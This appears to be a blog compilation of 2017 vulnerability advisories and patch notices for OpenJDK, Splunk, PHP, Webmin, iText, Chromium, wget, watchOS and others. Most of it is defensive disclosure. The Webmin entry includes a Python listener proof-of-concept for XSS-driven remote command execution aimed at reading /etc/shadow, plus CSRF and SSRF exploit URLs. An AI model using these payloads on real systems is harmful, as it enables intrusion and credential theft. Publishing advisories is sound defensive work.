2017 m. lapkričio 9 d., ketvirtadienis
[SECURITY] [DSA 4015-1] openjdk-8 security update
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4015-1 security@debian.org
https://www.debian.org/security/ Moritz Muehlenhoff
November 02, 2017 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : openjdk-8
CVE ID : CVE-2017-10274 CVE-2017-10281 CVE-2017-10285
CVE-2017-10295 CVE-2017-10345 CVE-2017-10346
CVE-2017-10347 CVE-2017-10348 CVE-2017-10349
CVE-2017-10350 CVE-2017-10355 CVE-2017-10356
CVE-2017-10357 CVE-2017-10388
Several vulnerabilities have been discovered in OpenJDK, an
implementation of the Oracle Java platform, resulting in impersonation
of Kerberos services, denial of service, sandbox bypass or HTTP header
injection.
For the stable distribution (stretch), these problems have been fixed in
version 8u151-b12-1~deb9u1.
We recommend that you upgrade your openjdk-8 packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
KL-001-2017-022 : Splunk Local Privilege Escalation
KL-001-2017-022 : Splunk Local Privilege Escalation
Title: Splunk Local Privilege Escalation
Advisory ID: KL-001-2017-022
Publication Date: 2017.11.03
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-022.txt
1. Vulnerability Details
Affected Vendor: Splunk
Affected Product: Splunk Enterprise
Affected Version: 6.6.x
Platform: Embedded Linux
CWE Classification: CWE-280: Improper Handling of Insufficient
Permissions or Privileges
Impact: Privilege Escalation
Attack vector: Local
2. Vulnerability Description
Splunk can be configured to run as a non-root user. However,
that user owns the configuration file that specifies the user
to run as, so it can trivially gain root privileges.
3. Technical Description
Splunk runs multiple daemons and network listeners as root
by default. It can be configured to drop privileges to a
specified non-root user at startup such as user splunk, via
the SPLUNK_OS_USER variable in the splunk-launch.conf file in
$SPLUNK_HOME/etc/ (such as /opt/splunk/etc/splunk-launch.conf).
However, the instructions for enabling such a setup call
for chown'ing the entire $SPLUNK_HOME directory to that same
non-root user. For instance:
http://docs.splunk.com/Documentation/Splunk/6.6.2/Installation/RunSplunkasadifferentornon-rootuser
"4. Run the chown command to change the ownership of the splunk
directory and everything under it to the user that you want
to run the software.
chown -R splunk:splunk $SPLUNK_HOME"
Therefore, if an attacker gains control of the splunk account,
they can modify $SPLUNK_HOME/etc/splunk-launch.conf to
remove/unset SPLUNK_OS_USER so that the software will retain
root privileges, and place backdoors under $SPLUNK_HOME/bin/,
etc. that will take malicious actions as user root the next
time Splunk is restarted.
4. Mitigation and Remediation Recommendation
The vendor has published a mitigation for this vulnerability
at: https://www.splunk.com/view/SP-CAAAP3M
5. Credit
This vulnerability was discovered by Hank Leininger of
KoreLogic, Inc.
6. Disclosure Timeline
2017.08.17 - KoreLogic submits vulnerability details to Splunk.
2017.08.17 - Splunk confirms receipt.
2017.08.22 - Splunk notifies KoreLogic that the issue has been
assigned an internal ticket and will be addressed.
2017.09.29 - 30 business days have elapsed since the vulnerability
was reported to Splunk.
2017.10.17 - KoreLogic requests an update from Splunk.
2017.10.18 - Splunk informs KoreLogic that they will issue an advisory
on October 28th.
2017.10.23 - 45 business days have elapsed since the vulnerability
was reported to Splunk.
2017.10.30 - Splunk notifies KoreLogic that the advisory is published.
2017.11.03 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
[SECURITY] [DSA 4016-1] irssi security update
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4016-1 security@debian.org
https://www.debian.org/security/ Salvatore Bonaccorso
November 03, 2017 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : irssi
CVE ID : CVE-2017-10965 CVE-2017-10966 CVE-2017-15227 CVE-2017-15228
CVE-2017-15721 CVE-2017-15722 CVE-2017-15723
Debian Bug : 867598 879521
Multiple vulnerabilities have been discovered in Irssi, a terminal based
IRC client. The Common Vulnerabilities and Exposures project identifies
the following problems:
CVE-2017-10965
Brian 'geeknik' Carpenter of Geeknik Labs discovered that Irssi does
not properly handle receiving messages with invalid time stamps. A
malicious IRC server can take advantage of this flaw to cause Irssi
to crash, resulting in a denial of service.
CVE-2017-10966
Brian 'geeknik' Carpenter of Geeknik Labs discovered that Irssi is
susceptible to a use-after-free flaw triggered while updating the
internal nick list. A malicious IRC server can take advantage of
this flaw to cause Irssi to crash, resulting in a denial of service.
CVE-2017-15227
Joseph Bisch discovered that while waiting for the channel
synchronisation, Irssi may incorrectly fail to remove destroyed
channels from the query list, resulting in use after free conditions
when updating the state later on. A malicious IRC server can take
advantage of this flaw to cause Irssi to crash, resulting in a
denial of service.
CVE-2017-15228
Hanno Boeck reported that Irssi does not properly handle installing
themes with unterminated colour formatting sequences, leading to a
denial of service if a user is tricked into installing a specially
crafted theme.
CVE-2017-15721
Joseph Bisch discovered that Irssi does not properly handle
incorrectly formatted DCC CTCP messages. A malicious IRC server can
take advantage of this flaw to cause Irssi to crash, resulting in a
denial of service.
CVE-2017-15722
Joseph Bisch discovered that Irssi does not properly verify Safe
channel IDs. A malicious IRC server can take advantage of this flaw
to cause Irssi to crash, resulting in a denial of service.
CVE-2017-15723
Joseph Bisch reported that Irssi does not properly handle overlong
nicks or targets resulting in a NULL pointer dereference when
splitting the message and leading to a denial of service.
For the oldstable distribution (jessie), these problems have been fixed
in version 0.8.17-1+deb8u5.
For the stable distribution (stretch), these problems have been fixed in
version 1.0.2-1+deb9u3. CVE-2017-10965 and CVE-2017-10966 were already
fixed in an earlier point release.
We recommend that you upgrade your irssi packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
[VulnWatch] Advisory 02/2002: PHP remote vulnerability
www.e-matters.de
-= Security Advisory =-
Advisory: Remote Compromise/DOS Vulnerability in PHP
Release Date: 2002/07/22
Last Modified: 2002/07/22
Author: Stefan Esser [s.esser@e-matters.de]
Application: PHP 4.2.0, 4.2.1
Severity: A vulnerability within the multipart/form-data handler
could allow remote compromise of the web server.
Risk: Critical
Vendor Status: Patches Released.
Reference: http://security.e-matters.de/advisories/022002.html
Overview:
We have discovered a serious vulnerability within the default version
of PHP. Depending on the processor architecture it may be possible for a
remote attacker to either crash or compromise the web server.
Details:
PHP 4.2.0 introduced a completely rewritten multipart/form-data POST
handler. While I was working on the code in my role as PHP developer
i found a bug within the way the mime headers are processed.
A malformed POST request can trigger an error condition, that is not
correctly handled. Due to this bug it could happen that an uninit-
ialised struct gets appended to the linked list of mime headers.
When the lists gets cleaned or destroyed PHP tries to free the pointers
that are expected in the struct. Because of the lack of initialisation
those pointers contain stuff that was left on the stack by previous
function calls.
On the IA32 architecture (aka. x86) it is not possible to control what
will end up in the uninitialised struct because of the stack layout. All
possible code paths leave illegal addresses within the struct and PHP
will crash when it tries to free them.
Unfortunately the situation is absolutely different if you look on a
solaris sparc installation. Here it is possible for an attacker to free
chunks of memory that are full under his control. This is most probably
the case for several more non IA32 architectures.
Please note that exploitability is not only limited to systems that are
running malloc()/free() implementations that are known to be vulnerable
to control structure overwrites. This is because the internal PHP memory
managment implements its own linked list system that can be used to
overwrite nearly arbitrary memory addresses.
Proof of Concept:
e-matters is not going to release the exploit for this vulnerability to
the public.
Vendor Response:
22th July 2002 - An updated version of PHP which fixes this
vulnerability was released and can be downloaded at:
http://www.php.net/downloads.php
The vendor announcement is available at:
http://www.php.net/release_4_2_2.php
Recommendation:
If you are running PHP 4.2.x you should upgrade as soon as possible,
especially if your server runs on a non IA32 CPU. If you cannot upgrade
for whatever reason the only way to workaround this, is to disable all
kinds of POST requests on your server.
GPG-Key:
http://security.e-matters.de/gpg_key.asc
pub 1024D/75E7AAD6 2002-02-26 e-matters GmbH - Securityteam
Key fingerprint = 43DD 843C FAB9 832A E5AB CAEB 81F2 8110 75E7 AAD6
Copyright 2002 Stefan Esser. All rights reserved.
Webmin v1.850 Remote Code Execution (hyp3rlinx / apparitionsec)
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3430
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/WEBMIN-v1.850-REMOTE-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec
Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850
Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS,
file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from
the console or remotely. See the standard modules page for a list of all the functions built into Webmin.”
The vulnerabilities found are:
XSS vulnerability that leads to Remote Code Execution
CSRF Schedule arbitrary commands
Server Side Request Forgery
Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released patches to address these vulnerabilities.
For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html
Vulnerability details
XSS vulnerability that leads to Remote Code Execution
Under Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘.
By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.
Webmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the
domain=webmin-victim-ip.
Proof of Concept
import socket
#===================================================
#Run this script and listen for file download from webmin
#Enter payload to execute RCE
#wait for webmin to connect and download file
#Vulnerability is in Menu/Others/File Manager
#issue is webmin echoes back status of the download
#by injecting XSS we bypass the Referer: check by assign
#domain to victims own IP, then execute our RCE
#-----------------------------------------------------------
#e.g.
#Download from remote URL
#http://x.x.x.x:10000/shell/index.cgi
#> whoami
#root
PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests
WEBMIN_IP=raw_input("[Webmin IP]> ") #victim
#Read /etc/shadow file
CMD=("/>"+
"")
s = socket.socket()
HOST = ''
s.bind((HOST, PORT))
s.listen(5)
print '\nwebmin file download 0day...'
while True:
conn, addr = s.accept()
conn.send(CMD+'\r\n')
print 'Connected!'
print s.recv(1024)
conn.close()
s.close()
CSRF Schedule arbitrary commands
User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls
an attacker to execute arbitrary commands.
Proof of Concept
http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0
Server Side Request Forgery
User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attacker can trigger
the vulnerability
Proof of Concept
http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:
https://blogs.securiteam.com/index.php/archives/3430
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
[SECURITY] [DSA 4019-1] imagemagick security update
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4019-1 security@debian.org
https://www.debian.org/security/ Moritz Muehlenhoff
November 05, 2017 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : imagemagick
CVE ID : CVE-2017-9500 CVE-2017-11446 CVE-2017-11523 CVE-2017-11533
CVE-2017-11535 CVE-2017-11537 CVE-2017-11639 CVE-2017-11640
CVE-2017-12428 CVE-2017-12431 CVE-2017-12432 CVE-2017-12434
CVE-2017-12587 CVE-2017-12640 CVE-2017-12671 CVE-2017-13139
CVE-2017-13140 CVE-2017-13141 CVE-2017-13142 CVE-2017-13143
CVE-2017-13144 CVE-2017-13145
Debian Bug : 870526 870491 870116 870111 870109 870106 870119
870105 870065 870014 869210 870067 870012 869834
869830 869827 868950 869728 869712 869715 869713 867778
This update fixes several vulnerabilities in imagemagick: Various memory
handling problems and cases of missing or incomplete input sanitising may
result in denial of service, memory disclosure or the execution of
arbitrary code if malformed image files are processed.
For the stable distribution (stretch), this problem has been fixed in
version 8:6.9.7.4+dfsg-11+deb9u2.
We recommend that you upgrade your imagemagick packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
CVE-2017-9096 iText XML External Entity Vulnerability
##################################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/en/research/advisories/
#
##################################################################
#
# Product: iText PDF Library
# Vendor: iText Group
# CVE ID: CVE-2017-9096
# CSNC ID: CSNC-2017-017
# Subject: XML External Entity Attack (XXE)
# Risk: Medium
# Effect: Remotely exploitable
# Author: Benjamin Bruppacher
# Date: 2017-11-06
#
##################################################################
Introduction:
-------------
iText is a software developer toolkit that allows users to integrate PDF functionalities within their applications, processes or products.
The used XML parsers inside the library are not configured to disable external entities. This can be used for XML External Entity Attacks[1].
Affected versions:
---------
Vulnerable:
* 2.0.8
* 5.5.11
* 7.0.2
Not vulnerable:
* 5.5.12
* 7.0.3
Technical Description
---------------------
The attack can be carried out by submitting a malicious PDF to an iText application that parses XML data.
By providing a malicious XXE payloads inside the XML data that resides in the PDF, an attacker can for example extract files or forge requests on the server.
Timeline:
---------
2017-05-10: Discovery by Benjamin Bruppacher
2017-05-15: Initial vendor notification
2017-08-01: Vendor releases patch
2017-11-06: Disclosure of the advisory
References:
-----------
[1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
[SECURITY] [DSA 4020-1] chromium-browser security update
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4020-1 security@debian.org
https://www.debian.org/security/ Michael Gilbert
November 05, 2017 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : chromium-browser
CVE ID : CVE-2017-5124 CVE-2017-5125 CVE-2017-5126 CVE-2017-5127
CVE-2017-5128 CVE-2017-5129 CVE-2017-5131 CVE-2017-5132
CVE-2017-5133 CVE-2017-15386 CVE-2017-15387 CVE-2017-15388
CVE-2017-15389 CVE-2017-15390 CVE-2017-15391 CVE-2017-15392
CVE-2017-15393 CVE-2017-15394 CVE-2017-15395 CVE-2017-15396
Several vulnerabilities have been discovered in the chromium web browser.
In addition, this message serves as an annoucment that security support for
chromium in the oldstable release (jessie), Debian 8, is now discontinued.
Debian 8 chromium users that desire continued security updates are strongly
encouraged to upgrade now to the current stable release (stretch), Debian 9.
An alternative is to switch to the firefox browser, which will continue to
receive security updates in jessie for some time.
CVE-2017-5124
A cross-site scripting issue was discovered in MHTML.
CVE-2017-5125
A heap overflow issue was discovered in the skia library.
CVE-2017-5126
Luat Nguyen discovered a use-after-free issue in the pdfium library.
CVE-2017-5127
Luat Nguyen discovered another use-after-free issue in the pdfium
library.
CVE-2017-5128
Omair discovered a heap overflow issue in the WebGL implementation.
CVE-2017-5129
Omair discovered a use-after-free issue in the WebAudio implementation.
CVE-2017-5131
An out-of-bounds write issue was discovered in the skia library.
CVE-2017-5132
Guarav Dewan discovered an error in the WebAssembly implementation.
CVE-2017-5133
Aleksandar Nikolic discovered an out-of-bounds write issue in the skia
library.
CVE-2017-15386
WenXu Wu discovered a user interface spoofing issue.
CVE-2017-15387
Jun Kokatsu discovered a way to bypass the content security policy.
CVE-2017-15388
Kushal Arvind Shah discovered an out-of-bounds read issue in the skia
library.
CVE-2017-15389
xisigr discovered a URL spoofing issue.
CVE-2017-15390
Haosheng Wang discovered a URL spoofing issue.
CVE-2017-15391
Joao Lucas Melo Brasio discovered a way for an extension to bypass its
limitations.
CVE-2017-15392
Xiaoyin Liu discovered an error the implementation of registry keys.
CVE-2017-15393
Svyat Mitin discovered an issue in the devtools.
CVE-2017-15394
Sam discovered a URL spoofing issue.
CVE-2017-15395
Johannes Bergman discovered a null pointer dereference issue.
CVE-2017-15396
Yuan Deng discovered a stack overflow issue in the v8 javascript library.
For the oldstable distribution (jessie), security support for chromium has
been discontinued.
For the stable distribution (stretch), these problems have been fixed in
version 62.0.3202.75-1~deb9u1.
For the testing distribution (buster), these problems will be fixed soon.
For the unstable distribution (sid), these problems have been fixed in
version 62.0.3202.75-1.
We recommend that you upgrade your chromium-browser packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
[SECURITY] [DSA 4021-1] otrs2 security update
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4021-1 security@debian.org
https://www.debian.org/security/ Moritz Muehlenhoff
November 07, 2017 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : otrs2
CVE ID : CVE-2017-14635
It was discovered that missing input validation in the Open Ticket
Request System could result in privilege escalation by an agent with
write permissions for statistics.
For the oldstable distribution (jessie), this problem has been fixed
in version 3.3.18-1+deb8u1.
For the stable distribution (stretch), this problem has been fixed in
version 5.0.16-1+deb9u2.
We recommend that you upgrade your otrs2 packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
2017 m. lapkričio 1 d., trečiadienis
[security bulletin] HPESBHF03787 rev.1 - Hewlett Packard Enterprise Intelligent Management Center (iMC) PLAT, Deserialization of Untrusted Data, Remote Code Execution
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: hpesbhf03787en_us
Version: 1
HPESBHF03787 rev.1 - Hewlett Packard Enterprise Intelligent Management Center
(iMC) PLAT, Deserialization of Untrusted Data, Remote Code Execution
NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.
Release Date: 2017-10-27
Last Updated: 2017-10-27
Potential Security Impact: Remote: Code Execution
Source: Hewlett Packard Enterprise, Product Security Response Team
VULNERABILITY SUMMARY
Security vulnerabilities in HPE Intelligent Management Center (iMC) PLAT
products could be exploited to allow Remote Code Execution.
References:
- CVE-2017-8962 - ZDI-CAN-4810, PSRT110446
- CVE-2017-8963 - ZDI-CAN-4811, PSRT110447
- CVE-2017-8964 - ZDI-CAN-4812, PSRT110448
- CVE-2017-8965 - ZDI-CAN-4814, PSRT110450
- CVE-2017-8966 - ZDI-CAN-4815, PSRT110451
- CVE-2017-8967 - ZDI-CAN-4813, PSRT110449
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
- HPE Intelligent Management Center (iMC) iMC Plat 7.3 E0504P2
BACKGROUND
CVSS Base Metrics
=================
Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector
CVE-2017-8962
8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
CVE-2017-8963
8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
CVE-2017-8964
8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
CVE-2017-8965
8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
CVE-2017-8966
8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
CVE-2017-8967
8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499
Hewlett Packard Enterprise would like to thank Steven Seeley (mr_me) of
Offensive Security, working with Trend Micro's Zero Day Initiative, for
reporting these security vulnerabilities in Intelligent Management Center
(iMC) PLAT to security-alert@hpe.com.
RESOLUTION
HPE has provided the following software updates and mitigation information to
resolve the vulnerabilities in HPE Intelligent Management Center (iMC) PLAT.
HPE Intelligent Management Center (iMC) PLAT 7.3 E0506P03 fixes the
vulnerabilities in the following products:
+ **iMC PLAT - Version: Fixed in IMC PLAT 7.3 E0506P03**
* HP Network Products
- JD125A HP IMC Std S/W Platform w/100-node
- JD126A HP IMC Ent S/W Platform w/100-node
- JD808A HP IMC Ent Platform w/100-node License
- JD814A HP A-IMC Enterprise Edition Software DVD Media
- JD815A HP IMC Std Platform w/100-node License
- JD816A HP A-IMC Standard Edition Software DVD Media
- JF288AAE HP Network Director to Intelligent Management Center
Upgrade E-LTU
- JF289AAE HP Enterprise Management System to Intelligent Management
Center Upgrade E-LTU
- JF377A HP IMC Std S/W Platform w/100-node Lic
- JF377AAE HP IMC Std S/W Pltfrm w/100-node E-LTU
- JF378A HP IMC Ent S/W Platform w/200-node Lic
- JF378AAE HP IMC Ent S/W Pltfrm w/200-node E-LTU
- JG546AAE HP IMC Basic SW Platform w/50-node E-LTU
- JG548AAE HP PCM+ to IMC Bsc Upgr w/50-node E-LTU
- JG549AAE HP PCM+ to IMC Std Upgr w/200-node E-LTU
- JG747AAE HP IMC Std SW Plat w/ 50 Nodes E-LTU
- JG748AAE HP IMC Ent SW Plat w/ 50 Nodes E-LTU
- JG768AAE HP PCM+ to IMC Std Upg w/ 200-node E-LTU
- JG550AAE HPE PCM+ Mobility Manager to IMC Basic WLAN Platform Upgrade
50-node and 150-AP E-LTU
- JG590AAE HPE IMC Basic WLAN Manager Software Platform 50 Access Point
E-LTU
- JG660AAE HP IMC Smart Connect with Wireless Manager Virtual Appliance
Edition E-LTU
- JG766AAE HP IMC Smart Connect Virtual Appliance Edition E-LTU
- JG767AAE HP IMC Smart Connect with Wireless Manager Virtual Appliance
Edition E-LTU
- JG768AAE HPE PCM+ to IMC Standard Software Platform Upgrade with
200-node E-LTU
- JH704AAE Aruba IMC Std SW Plat w/50-node E-LTU
- JH705AAE Aruba IMC Ent SW Plat w/50-node E-LTU
HISTORY
Version:1 (rev.1) - 27 October 2017 Initial release
Third Party Security Patches: Third party security patches that are to be
installed on systems running Hewlett Packard Enterprise (HPE) software
products should be applied in accordance with the customer's patch management
policy.
Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HPE Services support channel. For other issues about
the content of this Security Bulletin, send e-mail to security-alert@hpe.com.
Report: To report a potential security vulnerability for any HPE supported
product:
Web form: https://www.hpe.com/info/report-security-vulnerability
Email: security-alert@hpe.com
Subscribe: To initiate a subscription to receive future HPE Security Bulletin
alerts via Email: http://www.hpe.com/support/Subscriber_Choice
Security Bulletin Archive: A list of recently released Security Bulletins is
available here: http://www.hpe.com/support/Security_Bulletin_Archive
Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.
3C = 3COM
3P = 3rd Party Software
GN = HPE General Software
HF = HPE Hardware and Firmware
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PV = ProCurve
ST = Storage Software
UX = HP-UX
Copyright 2016 Hewlett Packard Enterprise
[slackware-security] wget (SSA:2017-300-02)
[slackware-security] wget (SSA:2017-300-02)
New wget packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1,
14.2, and -current to fix security issues.
Here are the details from the Slackware 14.2 ChangeLog:
+--------------------------+
patches/packages/wget-1.19.2-i586-1_slack14.2.txz: Upgraded.
This update fixes stack and heap overflows in in HTTP protocol handling.
For more information, see:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13089
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13090
(* Security fix *)
+--------------------------+
Where to find the new packages:
+-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab
(http://osuosl.org) for donating FTP and rsync hosting
to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for
additional mirror sites near you.
Updated package for Slackware 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/wget-1.19.2-i486-1_slack13.0.txz
Updated package for Slackware x86_64 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/wget-1.19.2-x86_64-1_slack13.0.txz
Updated package for Slackware 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/wget-1.19.2-i486-1_slack13.1.txz
Updated package for Slackware x86_64 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/wget-1.19.2-x86_64-1_slack13.1.txz
Updated package for Slackware 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/wget-1.19.2-i486-1_slack13.37.txz
Updated package for Slackware x86_64 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/wget-1.19.2-x86_64-1_slack13.37.txz
Updated package for Slackware 14.0:
ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/wget-1.19.2-i486-1_slack14.0.txz
Updated package for Slackware x86_64 14.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/wget-1.19.2-x86_64-1_slack14.0.txz
Updated package for Slackware 14.1:
ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/wget-1.19.2-i486-1_slack14.1.txz
Updated package for Slackware x86_64 14.1:
ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/wget-1.19.2-x86_64-1_slack14.1.txz
Updated package for Slackware 14.2:
ftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/wget-1.19.2-i586-1_slack14.2.txz
Updated package for Slackware x86_64 14.2:
ftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/wget-1.19.2-x86_64-1_slack14.2.txz
Updated package for Slackware -current:
ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/wget-1.19.2-i586-1.txz
Updated package for Slackware x86_64 -current:
ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/wget-1.19.2-x86_64-1.txz
MD5 signatures:
+-------------+
Slackware 13.0 package:
6a2fdea44aeb773a883b8179fa05f8dd wget-1.19.2-i486-1_slack13.0.txz
Slackware x86_64 13.0 package:
1cbdea2a72f55841ec7497a33a4050d2 wget-1.19.2-x86_64-1_slack13.0.txz
Slackware 13.1 package:
2b931c21e366f28c3ec3d566895808e1 wget-1.19.2-i486-1_slack13.1.txz
Slackware x86_64 13.1 package:
3a0040373718b879ff81a590821cc957 wget-1.19.2-x86_64-1_slack13.1.txz
Slackware 13.37 package:
63e6d6396de6264109fc5db75a89a1fa wget-1.19.2-i486-1_slack13.37.txz
Slackware x86_64 13.37 package:
19a525ee83e14446902d4bb4fe0850c8 wget-1.19.2-x86_64-1_slack13.37.txz
Slackware 14.0 package:
c57618f9fa8a13d00989ebf03622803b wget-1.19.2-i486-1_slack14.0.txz
Slackware x86_64 14.0 package:
4d0fecab36336e9b00f841881852a619 wget-1.19.2-x86_64-1_slack14.0.txz
Slackware 14.1 package:
b32791160dcf03d91721644a2d997c03 wget-1.19.2-i486-1_slack14.1.txz
Slackware x86_64 14.1 package:
c534b54abed76e5bb452f06cb3fd0f7e wget-1.19.2-x86_64-1_slack14.1.txz
Slackware 14.2 package:
1d20fe71cba764a5fd516329b3c84043 wget-1.19.2-i586-1_slack14.2.txz
Slackware x86_64 14.2 package:
52f27f37dc54642f430790ba1f7ba5db wget-1.19.2-x86_64-1_slack14.2.txz
Slackware -current package:
c528ea9f78c9658d620951fe575e2757 n/wget-1.19.2-i586-1.txz
Slackware x86_64 -current package:
d3bdaa039410b993ac729bf88c80905f n/wget-1.19.2-x86_64-1.txz
Installation instructions:
+------------------------+
Upgrade the package as root:
# upgradepkg wget-1.19.2-i586-1_slack14.2.txz
+-----+
Slackware Linux Security Team
http://slackware.com/gpg-key
security@slackware.com
APPLE-SA-2017-10-31-4 watchOS 4.1
APPLE-SA-2017-10-31-4 watchOS 4.1
watchOS 4.1 is now available and addresses the following:
CoreText
Available for: All Apple Watch models
Impact: Processing a maliciously crafted text file may lead to an
unexpected application termination
Description: A denial of service issue was addressed through improved
memory handling.
CVE-2017-13849: Ro of SavSec
Kernel
Available for: All Apple Watch models
Impact: An application may be able to execute arbitrary code with
kernel privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2017-13799: an anonymous researcher
StreamingZip
Available for: All Apple Watch models
Impact: A malicious zip file may be able modify restricted areas of
the file system
Description: A path handling issue was addressed with improved
validation.
CVE-2017-13804: @qwertyoruiopz at KJC Research Intl. S.R.L.
Wi-Fi
Available for: Apple Watch Series 1 and Apple Watch Series 2
Impact: An attacker in Wi-Fi range may force nonce reuse in WPA
clients (Key Reinstallation Attacks - KRACK)
Description: A logic issue existed in the handling of state
transitions. This was addressed with improved state management.
CVE-2017-13080: Mathy Vanhoef of the imec-DistriNet group at KU
Leuven
Installation note:
Instructions on how to update your Apple Watch software are
available at https://support.apple.com/kb/HT204641
To check the version on your Apple Watch, open the Apple Watch app
on your iPhone and select "My Watch > General > About".
Alternatively, on your watch, select "My Watch > General > About".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
